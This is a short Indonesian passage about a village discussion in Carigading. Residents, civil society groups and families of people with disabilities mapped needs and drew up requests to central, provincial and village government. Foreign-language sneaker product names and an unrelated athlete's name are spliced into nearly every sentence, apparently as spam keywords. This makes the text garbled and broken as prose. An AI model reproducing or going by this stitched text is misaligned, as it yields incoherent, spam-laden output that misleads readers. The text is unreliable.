  • adidas gazelle damskie desa Carigading dan beberapa unsur dari CO, asics gel lyte 3 mujer blancas Nike Sko Nettbutikk CSO dan beberapa perwakilan warga, Air Jordan 11 Uomo adidas tubular mujer dan keluarga penyandang disabilitas. free run 5.0 grigio uomo Fjallraven Kanken No.2 Diskusi warga ini pula bertujuan untuk memetakan kebutuhan dan hambatan permasalah serta mewujudkan impian impian penyandang disabilitas, Kyrie 2 Shoes nike air jordan 10 chicago diskusi ini menghasilkan beberapa permintaan warga yang sangat menginginkan adanya perhatian pemerintah pusat bagi warga, New Balance 678 damskie Kopen nike air max schoenen dan adanya bantuan bagi disabilitas yang akan menjadi rekomendasi untuk pemerintah pusat, new balance 1500 homme beige Devin Gardner – Michigan Wolverines provinsi hingga pemerintah desa.